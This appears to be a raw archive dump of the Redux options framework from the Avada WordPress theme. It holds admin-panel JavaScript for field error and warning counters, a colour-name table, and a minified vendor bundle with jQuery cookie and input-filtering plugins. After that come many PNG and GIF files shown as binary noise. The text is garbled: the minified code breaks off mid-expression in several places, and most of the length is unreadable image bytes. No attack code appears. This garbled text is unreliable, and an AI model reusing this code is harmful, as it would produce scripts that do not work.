'fieldset.fusionredux-field:first' ).removeClass( 'fusionredux-field-error' ); jQuery( variable ).parent().find( '.fusionredux-th-error' ).slideUp(); var errorCount = (parseInt( rContainer.find( '.fusionredux-field-errors span' ).text() ) - 1); if ( errorCount <= 0 ) { jQuery( '#' + parentID + '_li .fusionredux-menu-error' ).fadeOut( 'fast' ).remove(); jQuery( '#' + parentID + '_li .fusionredux-group-tab-link-a' ).removeClass( 'hasError' ); jQuery( '#' + parentID + '_li' ).parents( '.inside:first' ).find( '.fusionredux-field-errors' ).slideUp(); jQuery( variable ).parents( '.fusionredux-container:first' ).find( '.fusionredux-field-errors' ).slideUp(); jQuery( '#fusionredux_metaboxes_errors' ).slideUp(); } else { var errorsLeft = (parseInt( th.find( '.fusionredux-menu-error:first' ).text() ) - 1); if ( errorsLeft <= 0 ) { th.find( '.fusionredux-menu-error:first' ).fadeOut().remove(); } else { th.find( '.fusionredux-menu-error:first' ).text( errorsLeft ); } rContainer.find( '.fusionredux-field-errors span' ).text( errorCount ); } if ( subParent.length !== 0 ) { if ( subParent.find( '.fusionredux-menu-error' ).length === 0 ) { subParent.find( '.hasError' ).removeClass( 'hasError' ); } } } if ( jQuery( variable ).parents( 'fieldset.fusionredux-field:first' ).hasClass( 'fusionredux-field-warning' ) ) { jQuery( variable ).parents( 'fieldset.fusionredux-field:first' ).removeClass( 'fusionredux-field-warning' ); jQuery( variable ).parents( 'fieldset.fusionredux-field:first' ).find( '.fusionredux-th-warning' ).slideUp(); var warningCount = (parseInt( rContainer.find( '.fusionredux-field-warnings span' ).text() ) - 1); if ( warningCount <= 0 ) { jQuery( '#' + parentID + '_li .fusionredux-menu-warning' ).fadeOut( 'fast' ).remove(); jQuery( '#' + parentID + '_li .fusionredux-group-tab-link-a' ).removeClass( 'hasWarning' ); jQuery( '#' + parentID + '_li' ).parents( '.inside:first' ).find( '.fusionredux-field-warnings' ).slideUp(); jQuery( variable ).parents( '.fusionredux-container:first' ).find( '.fusionredux-field-warnings' ).slideUp(); jQuery( '#fusionredux_metaboxes_warnings' ).slideUp(); } else { // Let's count down the warnings now. Fancy. ;) var warningsLeft = (parseInt( th.find( '.fusionredux-menu-warning:first' ).text() ) - 1); if ( warningsLeft <= 0 ) { th.find( '.fusionredux-menu-warning:first' ).fadeOut().remove(); } else { th.find( '.fusionredux-menu-warning:first' ).text( warningsLeft ); } rContainer.find( '.fusionredux-field-warning span' ).text( warningCount ); } if ( subParent.length !== 0 ) { if ( subParent.find( '.fusionredux-menu-warning' ).length === 0 ) { subParent.find( '.hasWarning' ).removeClass( 'hasWarning' ); } } } // Don't show the changed value notice while save_notice is visible. if ( rContainer.find( '.saved_notice:visible' ).length > 0 ) { return; } if ( fusionredux.customizer ) { fusionredux.customizer.save( variable, rContainer, parentID ); return; } if ( !fusionredux.args.disable_save_warn ) { rContainer.find( '.fusionredux-save-warn' ).slideDown(); window.onbeforeunload = confirmOnPageExit; } } function colorValidate( field ) { var value = jQuery( field ).val(); var hex = colorNameToHex( value ); if ( hex !== value.replace( '#', '' ) ) { return hex; } return value; } function colorNameToHex( colour ) { var tcolour = colour.replace( /^\s\s*/, '' ).replace( /\s\s*$/, '' ).replace( "#", "" ); var colours = { "aliceblue": "#f0f8ff", "antiquewhite": "#faebd7", "aqua": "#00ffff", "aquamarine": "#7fffd4", "azure": "#f0ffff", "beige": "#f5f5dc", "bisque": "#ffe4c4", "black": "#000000", "blanchedalmond": "#ffebcd", "blue": "#0000ff", "blueviolet": "#8a2be2", "brown": "#a52a2a", "burlywood": "#deb887", "cadetblue": "#5f9ea0", "chartreuse": "#7fff00", "chocolate": "#d2691e", "coral": "#ff7f50", "cornflowerblue": "#6495ed", "cornsilk": "#fff8dc", "crimson": "#dc143c", "cyan": "#00ffff", "darkblue": "#00008b", "darkcyan": "#008b8b", "darkgoldenrod": "#b8860b", "darkgray": "#a9a9a9", "darkgreen": "#006400", "darkkhaki": "#bdb76b", "darkmagenta": "#8b008b", "darkolivegreen": "#556b2f", "darkorange": "#ff8c00", "darkorchid": "#9932cc", "darkred": "#8b0000", "darksalmon": "#e9967a", "darkseagreen": "#8fbc8f", "darkslateblue": "#483d8b", "darkslategray": "#2f4f4f", "darkturquoise": "#00ced1", "darkviolet": "#9400d3", "deeppink": "#ff1493", "deepskyblue": "#00bfff", "dimgray": "#696969", "dodgerblue": "#1e90ff", "firebrick": "#b22222", "floralwhite": "#fffaf0", "forestgreen": "#228b22", "fuchsia": "#ff00ff", "gainsboro": "#dcdcdc", "ghostwhite": "#f8f8ff", "gold": "#ffd700", "goldenrod": "#daa520", "gray": "#808080", "green": "#008000", "greenyellow": "#adff2f", "honeydew": "#f0fff0", "hotpink": "#ff69b4", "indianred ": "#cd5c5c", "indigo ": "#4b0082", "ivory": "#fffff0", "khaki": "#f0e68c", "lavender": "#e6e6fa", "lavenderblush": "#fff0f5", "lawngreen": "#7cfc00", "lemonchiffon": "#fffacd", "lightblue": "#add8e6", "lightcoral": "#f08080", "lightcyan": "#e0ffff", "lightgoldenrodyellow": "#fafad2", "lightgrey": "#d3d3d3", "lightgreen": "#90ee90", "lightpink": "#ffb6c1", "lightsalmon": "#ffa07a", "lightseagreen": "#20b2aa", "lightskyblue": "#87cefa", "lightslategray": "#778899", "lightsteelblue": "#b0c4de", "lightyellow": "#ffffe0", "lime": "#00ff00", "limegreen": "#32cd32", "linen": "#faf0e6", "magenta": "#ff00ff", "maroon": "#800000", "mediumaquamarine": "#66cdaa", "mediumblue": "#0000cd", "mediumorchid": "#ba55d3", "mediumpurple": "#9370d8", "mediumseagreen": "#3cb371", "mediumslateblue": "#7b68ee", "mediumspringgreen": "#00fa9a", "mediumturquoise": "#48d1cc", "mediumvioletred": "#c71585", "midnightblue": "#191970", "mintcream": "#f5fffa", "mistyrose": "#ffe4e1", "moccasin": "#ffe4b5", "navajowhite": "#ffdead", "navy": "#000080", "oldlace": "#fdf5e6", "olive": "#808000", "olivedrab": "#6b8e23", "orange": "#ffa500", "orangered": "#ff4500", "orchid": "#da70d6", "palegoldenrod": "#eee8aa", "palegreen": "#98fb98", "paleturquoise": "#afeeee", "palevioletred": "#d87093", "papayawhip": "#ffefd5", "peachpuff": "#ffdab9", "peru": "#cd853f", "pink": "#ffc0cb", "plum": "#dda0dd", "powderblue": "#b0e0e6", "purple": "#800080", "red": "#ff0000", "fusionredux": "#01a3e3", "rosybrown": "#bc8f8f", "royalblue": "#4169e1", "saddlebrown": "#8b4513", "salmon": "#fa8072", "sandybrown": "#f4a460", "seagreen": "#2e8b57", "seashell": "#fff5ee", "sienna": "#a0522d", "silver": "#c0c0c0", "skyblue": "#87ceeb", "slateblue": "#6a5acd", "slategray": "#708090", "snow": "#fffafa", "springgreen": "#00ff7f", "steelblue": "#4682b4", "tan": "#d2b48c", "teal": "#008080", "thistle": "#d8bfd8", "tomato": "#ff6347", "turquoise": "#40e0d0", "violet": "#ee82ee", "wheat": "#f5deb3", "white": "#ffffff", "whitesmoke": "#f5f5f5", "yellow": "#ffff00", "yellowgreen": "#9acd32" }; if ( colours[tcolour.toLowerCase()] !== 'undefined' ) { return colours[tcolour.toLowerCase()]; } return colour; } Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/js/vendor.min.js000064400000024413152342437710023464 0ustar00!function(a){"function"==typeof define&&define.amd?jQueryCookie.define(["jquery"],a):a(jQuery)}(function(a){function b(a){return a}function c(a){return decodeURIComponent(a.replace(e," "))}function d(a){0===a.indexOf('"')&&(a=a.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{return f.json?JSON.parse(a):a}catch(a){}}var e=/\+/g,f=a.cookie=function(e,g,h){if(void 0!==g){if(h=a.extend({},f.defaults,h),"number"==typeof h.expires){var i=h.expires,j=h.expires=new Date;j.setDate(j.getDate()+i)}return g=f.json?JSON.stringify(g):String(g),document.cookie=[f.raw?e:encodeURIComponent(e),"=",f.raw?g:encodeURIComponent(g),h.expires?"; expires="+h.expires.toUTCString():"",h.path?"; path="+h.path:"",h.domain?"; domain="+h.domain:"",h.secure?"; secure":""].join("")}for(var k=f.raw?b:c,l=document.cookie.split("; "),m=e?void 0:{},n=0,o=l.length;n=f.captureLength&&d.toUpperCase()!=b.text||c&&d.length>=f.captureLength)&&(b.text=d.toUpperCase(),b.cb.call(b.el,d))}function d(b){var d=b.type.toUpperCase();if(a.inArray(d,f.inputTypes)>=0){var e={timer:null,text:a(b).val().toUpperCase(),cb:f.callback,el:b,wait:f.wait};f.highlight&&a(b).focus(function(){this.select()});var g=function(b){var d=e.wait,g=!1,h=this.type.toUpperCase();void 0!==b.keyCode&&13==b.keyCode&&"TEXTAREA"!=h&&a.inArray(h,f.inputTypes)>=0&&(d=1,g=!0);var i=function(){c(e,g)};clearTimeout(e.timer),e.timer=setTimeout(i,d)};a(b).on("keydown paste cut input",g)}}var e=["TEXT","TEXTAREA","PASSWORD","TEL","SEARCH","URL","EMAIL","DATETIME","DATE","MONTH","WEEK","TIME","DATETIME-LOCAL","NUMBER","RANGE"],f=a.extend({wait:750,callback:function(){},highlight:!0,captureLength:2,inputTypes:e},b);return this.each(function(){d(this)})}}(jQuery),function(a){function b(){var a="!@#$%^&*()+=[]\\';,/{}|\":<>?~`.-_";return a+=" "}function c(){return"¬€£¦"}function d(b,c,d){b.each(function(){var b=a(this);b.bind("keyup change paste",function(a){var e="";a.originalEvent&&a.originalEvent.clipboardData&&a.originalEvent.clipboardData.getData&&(e=a.originalEvent.clipboardData.getData("text/plain")),setTimeout(function(){h(b,c,d,e)},0)}),b.bind("keypress",function(a){var e=a.charCode?a.charCode:a.which;if(!(g(e)||a.ctrlKey||a.metaKey)){var f=String.fromCharCode(e),h=b.selection(),i=h.start,j=h.end,k=b.val(),l=k.substring(0,i)+f+k.substring(j);c(l,d)!=l&&a.preventDefault()}})})}function e(b,c){var d=parseFloat(a(b).val()),e=a(b);if(isNaN(d))return void e.val("");f(c.min)&&dc.max&&e.val("")}function f(a){return!isNaN(a)}function g(a){return!(a>=32)&&(10!=a&&13!=a)}function h(a,b,c,d){var e=a.val();""==e&&d.length>0&&(e=d);var f=b(e,c);if(e!=f){var g=a.alphanum_caret();a.val(f),e.length==f.length+1?a.alphanum_caret(g-1):a.alphanum_caret(g)}}function i(b,c){void 0===c&&(c=D);var d,e={};return d="string"==typeof b?F[b]:void 0===b?{}:b,a.extend(e,c,d),void 0===e.blacklist&&(e.blacklistSet=x(e.allow,e.disallow)),e}function j(b){var c,d={};return c="string"==typeof b?G[b]:void 0===b?{}:b,a.extend(d,E,c),d}function k(a,b,c){return!(c.maxLength&&a.length>=c.maxLength)&&(c.allow.indexOf(b)>=0||(!(!c.allowSpace||" "!=b)||!c.blacklistSet.contains(b)&&(!(!c.allowNumeric&&K[b])&&(!(!c.allowUpper&&u(b))&&(!(!c.allowLower&&v(b))&&(!(!c.allowCaseless&&w(b))&&(!(!c.allowLatin&&L.contains(b))&&(!!c.allowOtherCharSets||!(!K[b]&&!L.contains(b))))))))))}function l(a,b,c){if(K[b])return!n(a,c)&&(!p(a,c)&&(!o(a,c)&&(!q(a+b,c)&&!r(a+b,c))));if(c.allowPlus&&"+"==b&&""==a)return!0;if(c.allowMinus&&"-"==b&&""==a)return!0;if(b==I&&c.allowThouSep&&A(a,b))return!0;if(b==J){if(a.indexOf(J)>=0)return!1;if(c.allowDecSep)return!0}return!1}function m(a){return a+="",a.replace(/[^0-9]/g,"").length}function n(a,b){var c=b.maxDigits;return""!=c&&!isNaN(c)&&m(a)>=c}function o(a,b){var c=b.maxDecimalPlaces;if(""==c||isNaN(c))return!1;var d=a.indexOf(J);return-1!=d&&m(a.substring(d))>=c}function p(a,b){var c=b.maxPreDecimalPlaces;return""!=c&&!isNaN(c)&&(!(a.indexOf(J)>=0)&&m(a)>=c)}function q(a,b){return!(!b.max||b.max<0)&&parseFloat(a)>b.max}function r(a,b){return!(!b.min||b.min>0)&&parseFloat(a)=0)return!1;var c=a.indexOf(I);if(c<0)return!0;var d=a.lastIndexOf(I);return!(a.length-d-1<3)&&!(m(a.substring(c))%3>0)}function B(a){this.map="string"==typeof a?C(a):{}}function C(a){var b,c={},d=a.split(""),e=0;for(e=0;e=0?endPos=e.toString().length:endPos=startPos+d.toString().length,{start:startPos,end:endPos}):null},d=function(d){var e=b(d);if(void 0!==d.selectionStart)return document.activeElement&&document.activeElement!=d&&d.selectionStart==d.selectionEnd&&0==d.selectionStart?{start:d.value.length,end:d.value.length}:{start:d.selectionStart,end:d.selectionEnd};if(e.getSelection)return c(d,e);try{if("input"==d.nodeName.toLowerCase()){var f=b(d).document.selection.createRange(),g=d.createTextRange();g.setEndPoint("EndToStart",f);var h=g.text.length;return{start:h,end:h+f.text.length}}var i=c(d,e);if(!i)return i;var j=a.Range.current().clone(),k=j.clone().collapse().range,l=j.clone().collapse(!1).range;return k.moveStart("character",-1),l.moveStart("character",-1),0!=i.startPos&&""==k.text&&(i.startPos+=2),0!=i.endPos&&""==l.text&&(i.endPos+=2),i}catch(a){return{start:d.value.length,end:d.value.length}}},e=function(a,c,d){var e=b(a);if(a.setSelectionRange)void 0===d?(a.focus(),a.setSelectionRange(c,c)):(a.select(),a.selectionStart=c,a.selectionEnd=d);else if(a.createTextRange){var f=a.createTextRange();f.moveStart("character",c),d=d||c,f.moveEnd("character",d-a.value.length),f.select()}else if(e.getSelection){var h=e.document,i=e.getSelection(),j=h.createRange(),k=[c,void 0!==d?d:c];g([a],k),j.setStart(k[0].el,k[0].count),j.setEnd(k[1].el,k[1].count),i.removeAllRanges(),i.addRange(j)}else if(e.document.body.createTextRange){var j=document.body.createTextRange();j.moveToElementText(a),j.collapse(),j.moveStart("character",c),j.moveEnd("character",void 0!==d?d:c),j.select()}},f=function(a,b,c,d){"number"==typeof c[0]&&c[0]5@WI`]5;V! A'@{N\..ƅG_!7suV$BlW=}i; F)A<.&Xax,38S(b׵*%31l #O-zQvaXOP5o6Zz&⻏^wkI/#&\%x/@{7S މjPh͔&mry>k7=ߪB#@fs_{덱п0-LZ~%Gpˈ{YXf^+_s-T>D@קƸ-9!r[2]3BcnCs?>*ԮeD|%4` :X2 pQSLPRaeyqĘ י5Fit )CdL$o$rpӶb>4+̹F_{Яki+x.+B.{L<۩ =UHcnf<>F ^e||pyv%b:iX'%8Iߔ? rw[vITVQN^dpYI"|#\cz[2M^S0[zIJ/HHȟ- Ic#(حu[<m[QD$6!IDok]m5.]ŢEMYlSYuy*f&e }eS{W9/ V~&튆4czPqwsIU3]DQc8"xm܎fdrXt?Gy8Gvhu|Gl>i}:Y$o 21n6  LZQ*LIENDB`Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/img/4-col-portfolio.png000064400000002011152342437710024634 0ustar00PNG  IHDR-$RtEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp JIDATxA EUj NPPf}2Z ޒzhܢ=Ed0ƪFg)VfӇrYMah%z|]4{@ 4и{@ 4"] au[4IENDB`Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/img/3-col-portfolio.png000064400000002001152342437710024632 0ustar00PNG  IHDR-$RtEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp wIDATxK U{ns @%0o!x0Љf%^T72Y./ݴ8{chz-7qh=phq< KBzIENDB`Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/img/2-col-portfolio.png000064400000002025152342437710024637 0ustar00PNG  IHDR-$RtEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp ҧIDATx1 E8О]q{tMСK)b~-RʥmӬzq眗wav\5O>RY{b8(eThcx.o{ 4@=x4@4Ay"IENDB`Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/img/2cl.png000064400000005650152342437710022377 0ustar00PNG  IHDR-$R pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATxٽ 06E,b']{'^kAAHN)|rp!Ido1y L4&)~U߫eHx/y/;=L@ ܡps Te``j/B -B -B -B -߱ t{%6$j H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FzIDATx1 Fa 0jB/]6Lm-_LQ pZL< ` 3ΈhD-ZhѢE-ZhѢE-0LTH7̂U*IENDB`Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/img/3cm.png000064400000005734152342437710022404 0ustar00PNG  IHDR-$R pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATxٽn0RHydeK6C taEB(Իr=S`lǞZbpmO[ek\rYY<]H.<sʢhYc'~| R"}X4wDFo`(ZъVhE+ZъVhEwʱ mi$L :/#,Ar@t0 թn Zޡ:{4VIENDB`Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/img/toggle_tabs.png000064400000000546152342437710024210 0ustar00PNG  IHDR2&tEXtSoftwareAdobe ImageReadyqe<IDATx= 07GOH`%r!k;SxO,ʿ@%DqXXț7G}!]k۶_nHe'6/!DUU@S*MӘʲTJS.ܚK*Aڶ89+ߚhYz.'/{.`œG~458B@}oUt YrEQ>c/q|$=k=kXe֞Z90э+IZ`x?"yIENDB`Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/img/3cl.png000064400000006124152342437710022375 0ustar00PNG  IHDR-$R DiCCPICC ProfileH wTl/]"e齷.H& KYe7D"V$(bh(+X "J F;'Nw>}w(!a@P"f'0D6p(h@_63u_ -Z[3C+K;?r!YLD)c#c1 ʪ2N|bO h{yIHD.VV>RV:|{ [RF ”"MF1L1[Te'Jx%C%_%RJ#4GcӸu:(G73%Ie%e{SC add1T4UT*TTTUzUUUoScemUkS{Q7UPWߣ~A}b}9Հ5L5"5iјi<9Ъ:5MvhWh~Tfz1U.椎NTgNΌ|ݵͺHz,T NI}mPw ,tӆF -5j4oL50^l\k|g24mr6u0M713fͱBZA EEŰ%2res+}VV(٬Ԗk[c{Îjgʮ=~mCNNb&q'}d]N,:+Uʺuv^|o]5˟[7wM׍mȝ}CǃQSϓY9eu빷ػ{^>*}7l6 8`k`f 7!p2)hEPW0%8*:Qi8# z<ἶ0-AQ#p5#m"GvGѢG.7xt~g|LbLCtOlyPU܊|BLB}&:$%Zh`EꋲJO$O&&N~ rRSvLrgIsKۖ6^>!` /22fLge̜͊j&d'g* 3]9Z99"3Qhh'\(wanLHyy5yoc( z.ٴdloaqu.Yf WB+SVv[UjtCkHk2zmWbuj.Y￾HH\4uލ6W|ĺ})76T}39usocٞ---zl=TX|d[ fEqūI/WWA!1TRվS疝ӫox4صin={j-n`[k k+x\S-ۆzEjpjh8qn6Ik:8w7ޜw[nn?uݼ3V/~ڟM~nr:53(ѽȳ_ry?ZrL{퓓~מ.x:LlfW_w=7~oLM˃_uNO=|zfڛCoYož_Cggg` pHYs  IDATX XN1E 8 Ф@)Z:>wA $^f7&'ώ'C/[,;òY8zgUEqlV)ˉŤCp/q={*6s3l;9s.|~J!g~$}b8rcn=?Lj/9^Q a"zqx lt<9&}1g@&qp4t\4ވNGȯGĜtR;#d9I[vFȲsI판e#$me!NGIN3UpR"6q y&pSmkTjZ`oa#h+~/h$Dv|D#v˹m3vݫFV+~̐h]K.39=?ʟ^yHCIENDB`Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/img/ajax.gif000064400000002560152342437710022620 0ustar00GIF89aỻ혘! NETSCAPE2.0!-Made by Krasimira Nejcheva (www.loadinfo.net)! ,p%e(99ΔVuAM'I$@!Eezeȉ*5E$JN+QDG/"s#=$HJOw" G7 V(](L/!! ,q%di^֢XhUu%ue!E F\Ӌ2J - 2-D$N"Bps@8W"IJtP`5 -6#!! ,vpH,/ "t@M A2C1(ÁB֋& C թM0! !G QGs xXDDBfhjlnDMDA! ,}pH,/rZ*Q 0TDС @!F "XQ,HhR& M  HML# M pC}Cx|"fCiUg#E"N{FA! ,r%di^֢Xh@WŒQLaPÁB45& R XPօ(J  2-D$&I6pqѤ@8wFLN$ ZZ#W#!! ,pH,/rZ*Q 0TDС @!F "XQ,HhR& M  HML M UCxBzCpC#nBgUk{DEA! ,|pH,/!)t*H TDС @! LPIVYIaR> uD%  {E!!pGUNeEBDBgimoE!gU% MDGA! ,upH,/!"tv:Q 0DN */8ڢ * HUtR,Hյ& M  HML# M Ut*FzE*CC)gqjlnD #)![xEMEOGA;Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/img/3cr.png000064400000005752152342437710022411 0ustar00PNG  IHDR-$R pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATxٽ@wB\h"l"Y?,j&b&)"rNs21yH&͉R $YWon^9hV`R  wQ-@Ci r" [<##?D==."_ˈpZhE+ZъVhE+ZъVSO[c$'{%t yS Dۑa :Ck< Ձ-1;`>KB3{ eYIENDB`Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/img/2cr.png000064400000005651152342437710022406 0ustar00PNG  IHDR-$R pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATx1 @cD1"X<&iHD$S]] 